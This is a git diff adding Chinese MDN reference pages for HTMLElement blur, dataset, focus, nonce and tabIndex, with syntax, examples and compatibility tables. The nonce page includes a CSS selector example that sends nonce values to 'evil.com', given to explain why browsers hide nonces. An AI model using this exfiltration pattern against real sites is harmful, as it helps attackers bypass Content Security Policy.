unslug zh-cn: move

5 files changed, 414 insertions, 0 deletions

diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html
new file mode 100644
index 0000000000..96452abcc0
--- /dev/null
+++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html
@@ -0,0 +1,24 @@
+---
+title: HTMLElement.blur()
+slug: Web/API/HTMLElement/blur
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Method
+  - Reference
+translation_of: Web/API/HTMLOrForeignElement/blur
+---
+<p>{{ APIRef() }}</p>
+<h3 id="Summary" name="Summary">概述</h3>
+<p><strong>blur</strong>方法用来移除当前元素所获得的键盘焦点.</p>
+<h3 id="Syntax" name="Syntax">语法</h3>
+<pre class="eval">element.blur()
+</pre>
+<h3 id="Specification" name="Specification">规范</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-28216144">blur</a></p>
+<h3 id="相关链接">相关链接</h3>
+<ul>
+ <li><a href="/zh-cn/DOM/element.focus" title="zh-cn/DOM/element.focus">DOM element focus</a></li>
+</ul>
+<p>{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}</p>
diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html
new file mode 100644
index 0000000000..63ab5f48e8
--- /dev/null
+++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html
@@ -0,0 +1,123 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+tags:
+  - HTMLElement.dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<p>{{ APIRef }}</p>
+
+<p><code><strong>HTMLElement.dataset</strong></code>属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有<a href="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定义数据属性</a>(<em>data-*</em>)集。</p>
+
+<p>它是一个<a href="/zh-CN/DOM/DOMStringMap">DOMString的映射</a>，每个自定义数据属性的一个条目。</p>
+
+<p>请注意，<strong>dataset </strong>属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。</p>
+
+<p>还要注意，一个HTML <code><strong>data-</strong></code><em>attribute </em>及其对应的DOM <code><strong>dataset.</strong></code><em>property</em> 不共享相同的名称，但它们总是相似的：</p>
+
+<ul>
+ <li>在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母，数字和以下字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)  - 但不是任何ASCII大写字母（A到Z）。</li>
+ <li>JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称，但在 camelCase中，没有破折号，点等。</li>
+</ul>
+
+<p> </p>
+
+<p>自定义的数据属性名称是以 <code>data- </code>开头的。 它必须要遵循 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" rel="external nofollow" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)。此外不应包含ASCII 码大写字母。</p>
+
+<p>自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：</p>
+
+<ul>
+ <li>前缀  <code>data-</code> 被去除(包括减号)；</li>
+ <li>对于每个在ASCII小写字母<span style="line-height: 1.5;"> </span><code style="font-style: normal;">a到</code><span style="line-height: 1.5;"> </span><code style="font-style: normal;">z前面</code>的减号 (<code>U+002D</code>)，减号会被去除，并且字母会转变成对应的大写字母。</li>
+ <li>其他字符（包含其他减号）都不发生变化</li>
+</ul>
+
+<p>与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：</p>
+
+<ul>
+ <li>约束：减号在转变前一定不能紧跟一个ASCII小写字母 <code style="font-style: normal;">a</code> 到 <code style="font-style: normal;">z之间；</code></li>
+ <li>添加 <code>data-</code> 前缀;</li>
+ <li>任何ASCII大写字母 <code>A</code> 到 <code>Z</code> 将转化成一个减号紧跟对应的小写字母；</li>
+ <li>其他字符不会发生变化</li>
+</ul>
+
+<p>上面规则的约束是为了保证这两种转换是正好相反的转换。</p>
+
+<p>例如，属性名称 <code>data-abc-def</code> 与键值 <code>abcDef 相对应。</code></p>
+
+<h2 id="语法">语法</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>element</em>.dataset.<em>camelCasedName</em>;
+<em>element.</em>dataset.<em>camelCasedName</em> = <em>string</em>;</pre>
+
+<h2 id="实例">实例</h2>
+
+<pre class="brush: js">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe
+&lt;/div&gt;
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="浏览器兼容性">浏览器兼容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html
new file mode 100644
index 0000000000..eb47aff613
--- /dev/null
+++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html
@@ -0,0 +1,158 @@
+---
+title: HTMLElement.focus()
+slug: Web/API/HTMLElement/focus
+tags:
+  - API
+  - 参考
+  - 方法
+  - 焦点
+translation_of: Web/API/HTMLOrForeignElement/focus
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。</span></p>
+
+<h2 id="语法">语法</h2>
+
+<pre class="syntaxbox"><var>element</var>.focus(<var>options</var>); // Object parameter</pre>
+
+<h3 id="参数">参数</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>An optional object providing options to control aspects of the focusing process. This object may contain the following property:</dd>
+ <dd>
+ <dl>
+  <dt><code>preventScroll</code> {{optional_inline}}</dt>
+  <dd>A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of <code>false</code> for <code>preventScroll</code> (the default) means that the browser will scroll the element into view after focusing it. If <code>preventScroll</code> is set to <code>true</code>, no scrolling will occur.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="将焦点设置到文本框上">将焦点设置到文本框上</h3>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="text" id="myTextField" value="Text field."&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;点这里将焦点设置到文本框上！&lt;/button&gt;
+</pre>
+
+<h4 id="结果">结果</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p>
+
+<h3 id="将焦点设置到按钮上">将焦点设置到按钮上</h3>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre>focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre>&lt;button type="button" id="myButton"&gt;Click Me!&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;点这里将焦点设置到按钮上！&lt;/button&gt;</pre>
+
+<h4 id="结果_2">结果</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p>
+
+<h3 id="Focus_with_focusOption">Focus with focusOption</h3>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;button type="button" onclick="focusScrollMethod()"&gt;Click me to focus on the button!&lt;/button&gt;
+&lt;button type="button" onclick="focusNoScrollMethod()"&gt;Click me to focus on the button without scrolling!&lt;/button&gt;
+
+&lt;div id="container" style="height: 1000px; width: 1000px;"&gt;
+&lt;button type="button" id="myButton" style="margin-top: 500px;"&gt;Click Me!&lt;/button&gt;
+&lt;/div&gt;
+
+</pre>
+
+<h4 id="结果_3">结果</h4>
+
+<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p>
+
+<h2 id="规范">规范</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">规范</th>
+   <th scope="col">状态</th>
+   <th scope="col">备注</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="备注">备注</h2>
+
+<ul>
+ <li>If you call <code>HTMLElement.focus()</code> from a mousedown event handler, you must call <code>event.preventDefault()</code> to keep the focus from leaving the <code>HTMLElement</code></li>
+ <li>
+  <p>Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout <a href="https://blog.whatwg.org/focusing-on-focus">WHATWG blog</a> for more info.</p>
+ </li>
+</ul>
+
+<h2 id="浏览器兼容性">浏览器兼容性</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.focus")}}</p>
+
+<h2 id="参见">参见</h2>
+
+<ul>
+ <li>DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.</li>
+ <li>{{ domxref("document.activeElement") }} to know which is the currently focused element.</li>
+</ul>
diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html
new file mode 100644
index 0000000000..b2c6c829b1
--- /dev/null
+++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html
@@ -0,0 +1,60 @@
+---
+title: HTMLElement.nonce
+slug: Web/API/HTMLElement/nonce
+tags:
+  - API
+  - nonce
+  - 内容安全策略
+  - 实验性
+  - 属性
+translation_of: Web/API/HTMLOrForeignElement/nonce
+---
+<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
+
+<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p>
+
+<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p>
+
+<h2 id="语法">语法</h2>
+
+<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce
+HTMLElement.nonce = <em>nonce</em></pre>
+
+<h3 id="访问nonce属性值">访问nonce属性值</h3>
+
+<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p>
+
+<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
+
+<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p>
+
+<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p>
+
+<pre class="notranslate">script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}</pre>
+
+<h2 id="说明">说明</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">说明</th>
+   <th scope="col">状态</th>
+   <th scope="col">注释</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>初始定义</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="支持的浏览器">支持的浏览器</h2>
+
+<div>
+<div class="hidden">这个兼容的浏览器列表是通过一组结构化数据生成的。如果你想修改活增加数据，请获取最新数据并提交，地址：<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div>
+
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
+</div>
diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html
new file mode 100644
index 0000000000..516c659c2a
--- /dev/null
+++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html
@@ -0,0 +1,49 @@
+---
+title: HTMLElement.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<h3 id="Summary" name="Summary">概述</h3>
+
+<p>获取或设置当前元素的tab键激活顺序.</p>
+
+<h3 id="Syntax" name="Syntax">语法</h3>
+
+<pre class="eval">element.tabIndex = <em>index </em><em>index </em>= element.tabIndex
+</pre>
+
+<h3 id="Parameters" name="Parameters">参数</h3>
+
+<ul>
+ <li><code>index</code>是一个数字,表示顺序。取值需要在0到32767之间。</li>
+</ul>
+
+<p>Tab键的遍历顺序是这样的：</p>
+
+<ol>
+ <li>对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。</li>
+ <li>对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。</li>
+ <li>处于不可用状态的元素不会被遍历到。</li>
+</ol>
+
+<p>支持tabIndex属性的元素有：a,area,button,input,object,select和textarea<font face="monospace" size="3"><span style="line-height: 19.5px;">。</span></font></p>
+
+<p>tabIndex的值不需要是连续的，也不需要以某个特定值开始。</p>
+
+<h3 id="Example" name="Example">例子</h3>
+
+<pre>var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+</pre>
+
+<h3 id="Specification" name="Specification">规范</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">W3C DOM Level 2 HTML tabIndex</a></p>
+
+<p>了解更多,请查看: <a href="/zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex" title="zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex">The solution: changes to standard behavior of tabindex</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}</p>